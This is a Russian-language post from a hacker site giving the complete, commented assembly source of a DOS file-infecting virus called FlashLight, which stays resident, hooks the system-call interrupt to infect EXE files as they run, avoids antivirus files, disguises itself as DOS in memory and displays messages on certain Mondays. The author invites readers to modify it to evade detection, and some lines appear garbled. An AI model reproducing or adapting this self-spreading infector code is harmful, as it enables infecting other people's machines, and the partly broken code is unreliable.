Вирус FlashLight
Вирус FlashLight
Написан в Hех'e
Простой TSR.EXE Infects on 21h/4Bh Определяется Dr.Web'ом, но мы в вас верим что вы его модифицируете
Что он делает:
В понедельник определенного числа (в зависимости от 20) выводит "правду".
ламер! изменение copychit'a сопровождается удалением нервных клеток
из головного мозга...
-----------------------------------------------------------------------
.286
.model small
day=1 ; Понедельник (видно в понедельник их мама родила... :)
time=21840 ; 20 minutes (20*60 sec*18.2)
@version equ 1000h
at_green=00001010b ; ярко-зел. на черном
at_yellow=00001110b ; ярко-жел. на черном
at_violet=00001100b ; фиолет. на черном (не помню)
push_all macro ; Макрос:
pusha ; сохраняем все регистры в стеке
push es ; и сегментные
push ds ; тоже
endm
pop_all macro ; Макрос:
pop ds ; восст. сегментные
pop es
popa ; восстановим все регистры из стека
endm
; Макрос: пауза
pause macro
cli ; запретить прерывания
in al,60h ; прочитать тек. состояние клавиатуры
mov cs:[val_],al ; запомнить состояние
@p:
in al,60h ; прочитать сост. клавиатуры
cmp al,cs:[val_] ; изменилось?
jz @p ; значения одинаковые-не изменилось
sti ; разрешить прерывания
endm
code segment para public 'code'
assume cs:code,ds:code,es:code,ss:code
org 0
start:
call vir_main ; определим смещение в файле
vir_main: ; адрес возврата будет лежать в стеке
pop bp ; заберем его из стека
sub bp,3 ; уменьшим на 3 (т.к. команда call vir_main
alt=offset vir_main ; занимает 3 байта)
jmp init ; на установку в память
А это перехваченный инт 8 (таймер). Перехватывается только в
понедельник определенного числа, а в остальное время не работает.
Вызывается инт 8 восемнадцать раз в секунду
Hooked_int8:
pushf ; сохраним флаги в стеке
cmp word ptr cs:[counter],time ; проверим счетчик
jz effect_run ; если совпал, то запускаем эффект
inc word ptr cs:[counter] ; если время не пришло, то увеличиваем
popf ; счетчик.
jmp @back ; на выход
effect_run:
mov cs:[counter],0 ; обнуляем счетчик, чтобы через 20 мин. опять появилась
push_all ; сохраним все регистры
push cs
pop ds ; DS=CS
call eff_pr ; вызываем эффект
pop_all ; восстановим все регистры
popf ; восстановим флаги
@back:
db 0eah ; код команды jmp far
old8 dd 0 ; двойное слово-оригинальный адрес инт 8ого
Здесь идет сам эффект
eff_pr:
; сначала сохраним первые три строки экрана
push ds ; сохр. DS
pop es
push ds ; DS=ES
cld
mov cx,80*2*3 ; 3 строки
mov ax,0b800h ; адрес видеобуфера
mov ds,ax
mov di,offset buf+20h ; сюда будем сохранять
xor si,si ; отсюда будем читать (B800:0000)
rep movsb ; поехали
pop ds ; восстановить DS
mov es,ax ; ES=B800
xor di,di ; задаем позицию вывода
mov si,offset mess ; смещение строки, кот. будем выводить
mov cx,len*2 ; длина строки*2
mov dl,at_green ; атрибут цвета
call out_mess ; процедура вывода строки на экран
; остальные две строки выводяться таким же макаром
mov si,offset mess2
mov cx,len2*2
mov dl,at_yellow
call out_mess
mov si,offset mess3
mov cx,len3*2
mov dl,at_violet
call out_mess
pause ; подождем, пока нажмут на кнопку
; восстанавливаем содержимое экрана
cld
mov cx,80*2*3 ; количество байт
xor di,di ; по смещению 0
mov si,offset buf+20h ; тут он хранится
rep movsb ; понеслась
ret
; si- offset mess
; cx- len
; dl- attribute
out_mess:
movsb
mov byte ptr es:[di],dl
dec cx
inc di
loop out_mess
ret
mess db 'Пишем сюда месагу №1'
len=$-mess
mess2 db 'Пишем сюда месагу №2'
len2=$-mess2
mess3
len3=$-mess3'Пишем сюда месагу №3'
; ну таких месаг пишете скока хотите :)
val_ db 0
counter dw 0 ; счетчик
Перехваченный вектор 21H. Тут мы будем заражать на выполнении (4BH)
Hooked_int21:
pushf
cmp ax,0ddddh ; проверка на инсталяцию
jnz check_run
mov ax,01111h ; в AX идентификатор, что уже мы в памяти
mov si,@version ; в SI сунем версию
popf ; мы уже давно тут :)
iret
check_run:
cmp ax,4B00h ; запуск?
jz process
jmp return_back ; не, не запуск
process:
int 3
push_all
mov si,dx ; при запуске имя лежит в DS:DX
mov ax,word ptr ds:[si+3]
or ax,2020h
cmp ax,'oc' ; COMMAND.COM
jz process_over ; не заражаем
cmp ax,'rd' ; Dr.Web-дерьмо
jz process_over ; не заражаем
cmp ax,'ia'
jz process_over ; не заражаем
call super_open ; откроем файл.
jc process_over ; ошибка-на выход
; ошибок нет, попробуем заразить
push ds
push cs
pop ds
; прочитаем заголовок
mov ah,3fh
mov cx,18h
mov dx,offset buf
int 21h
pop ds
jc process_close ; ошибка-выход
mov di,offset buf ; указывает, куда мы прочитали загаловок
call exe_config ; эта процедура настраивает заголовок
or ax,ax ; AX=0, ели возникла ошибка (файл типа COM)
jz process_close ; закрытие
call write_it ; запись загаловка и тела вируса
jc process_close ; закроем
process_close:
mov ah,3eh ; закроем
int 21h
process_over:
pop_all ; восстановим знач. регистров
return_back:
popf
db 0EAh ; прыгнем на настоящий
int21 dd 0 ; INT 21H
write_it:
push ds
push cs
pop ds
; указатель на конец
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
jc write_exit
; запишем вирус
mov ax,4000h
xor dx,dx
mov cx,len_bytes
int 21h
jc write_exit
; указатель на начало
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
jc write_exit
; запишем заголовок
mov ax,4000h
mov dx,offset buf
mov cx,18h
int 21h
write_exit:
pop ds
ret
; SUPER_OPEN называется потому, что раньше я делал это через SFT
; а теперь все ДОС из форточек запускают, где SFT нету :(
; А название осталось :))
super_open:
push es
; открытие
mov ax,3d02h
int 21h
jc sup_exit ; <--выход.
xchg ax,bx ; По умолчанию handle помещаетя в ax, BX=AX
; определим длину.
; конечно, все можно было делать через SFT (если нужен этот вариант,
; могу подкинуть), что естественно покруче, но под форточками SFT не прет :(
; поэтому извратимся... ну нифига себе, сказал, как-будто SFT уже
; привычное дело :))
; указатель на конец
mov ax,4202h
xor cx,cx
mov dx,cx
int 21h
; после такой доблести в DX:AX длина файла
mov cs:[flen_h],dx
mov cs:[flen_l],ax
; теперь восстановим указатель, мы ведь потом ситать еще будем
mov ax,4200h
xor cx,cx
mov dx,cx
int 21h
sup_exit:
pop es
ret
А так настраивают заголовок экзешника, чтобы происходила передача
управления.
exe_config:
clc
cmc
cmp word ptr cs:[di+12h],7777h ; может уже заражен?
jz exit2 ; ага, на выход
cmp word ptr cs:[di],'ZM' ; а это вообще EXEшник?
jnz exit2 ; нет, обознались...
clc ; сбросим carry flag (признак ошибки)
; теперь сохраним все значения, которые нам пригодяться
; при передаче управления экзешнику
mov si,cs:[di+0eh] ; значение SS
mov cs:exe_ss,si
mov si,cs:[di+10h] ; значение SP
mov cs:exe_sp,si
mov si,cs:[di+14h] ; значение IP
mov cs:exe_ip,si
mov si,cs:[di+16h] ; значение CS
mov cs:exe_cs,si
mov word ptr cs:[di+12h],7777h ; теперь поставим признак зараженности
mov cs:[di+10h],len_bytes+100h ; значение SP за тело вируса
; теперь подсчитаем смещение, куда произойдет передача управления при
; запуске файла
mov ax,cs:flen_l
mov dx,cs:flen_h
mov cx,16
div cx
sub ax,cs:[di+8] ; вычтем длину заголовка
; запишем в заголовок только что полученные значения
mov cs:[di+16h],ax ; CS
mov cs:[di+0eh],ax ; SS
mov cs:[di+14h],dx ; IP
; теперь изменим значения в загловке, кот. отвечают за длину файла
mov si,len_bytes ; длина вируса
;add si,100h
mov ax,cs:flen_l
mov dx,cs:flen_h
add ax,si ; добавим к длине файла длину вируса
adc dx,0 ; на случай переполнения
mov cx,512 ; получем длину в блоках по 512 байт
div cx
or dx,dx ; dx=0
jz get_new ; нам везет :)
inc ax
get_new:
mov cs:[di+4],ax ; запишем полученные данные
mov cs:[di+2],dx ; в заголовок
config_exit:
ret
exit2:
xor ax,ax
ret
parm_block:
flen_h dw 0
flen_l dw 0
ftime dw 0
fdate dw 0
db '(c) Copychit by RealNeo',0
Установка в память. Если сегодня понедельник и число>20, то
вдобавок установим int 8 для вызова эффекта
init:
push_all
; а может мы уже в памяти?
mov ax,0ddddh
int 21h
cmp ax,01111h
jnz @1
jmp quit ; по ходу да, тогда на выход
@1:
push ds
mov bx,ds
dec dx
mov ds,bx
mov bx,ds:[3] ; общая память
pop ds
sub bx,(len_bytes/16)+7 ; уменьшим на столько, сколько нам надо.
mov ah,4Ah ; и изменим
int 21h ; выделенный нам блок
jc quit
mov ah,48h ; а теперь выделяем себе
mov bx,(len_bytes/16)+6 ; чуток памяти
int 21h
jc quit
push cs
push ax
; Сохраним int21
; ну тут я наизвращался...
xor si,si
mov ds,si
mov si,ds:[84h]
mov word ptr cs:[int21-vir_main+bp+alt],si
mov si,ds:[86h]
mov word ptr cs:[int21-vir_main+2+bp+alt],si
; Сохраним инт 8, не зависимо от того, будем его перехватывать или нет
mov si,ds:[8h*4]
mov word ptr cs:[old8-vir_main+bp+alt],si
mov si,ds:[8h*4+2]
mov word ptr cs:[old8-vir_main+bp+alt+2],si
; Копирyем в сегмент
pop es ; Куда будем копирить
pop ds ; откудова
cld
mov si,bp ; si=смещение в файле
xor di,di ; di=0
mov cx,len_bytes ; cx=длина
rep movsb ; копируем. опсс.. есть контакт. :)
mov ds,cx
mov word ptr ds:[84h],offset Hooked_int21
mov ds:[86h],es
; получим системную дату
mov ah,2Ah
int 21h
; запретим прерывания, инт 8 ведь устанавливаем
cli
cmp al,day ; Понедельник?
jnz hide ; нет конечно
cmp dl,20
jb hide
; установим на себя
mov word ptr ds:[8h*4],offset Hooked_int8
mov ds:[8h*4+2],es
hide:
; замаскируемся под ДОС
mov si,es
dec si
mov es,si
mov word ptr es:[1],0070h ; это DOS не до конца загрузился,
sti ; теперь вот подгружаемся... :)
quit:
cmp cs:[exe_ss+bp],0 ; проверка, это первый запуск или нет
jz do_it
asdf:
; вот так выглядит передача управления EXE'шнику
; можно было сделать через jmp far, тогда бы не пришлось
; заботиться о стеке
mov ax,es
add ax,10h
add cs:[exe_ss+bp],ax
add cs:[exe_cs+bp],ax
pop_all
cli
mov ss,cs:[exe_ss+bp]
mov sp,cs:[exe_sp+bp]
sti
push cs:[exe_cs+bp]
push cs:[exe_ip+bp]
xor bp,bp
retf
do_it:
; все восстановим и выедем в ДОС
pop_all
mov ax,4c00h
int 21h
exe_ss dw 0
exe_sp dw 0
exe_cs dw 0
exe_ip dw 0
len_bytes=$-start
len_par=($-start)/16+3
buf:
code ends
end start
Эх, как я зае*ался все комментировать :). Написал этот вирь FlashLight и назвал в свою честь.
автор: RealNeo
Copyright © "HACK-INFO" "admin@hack-info.org"
При использовании материалов обязательна ссылка на
http://hack-info.org.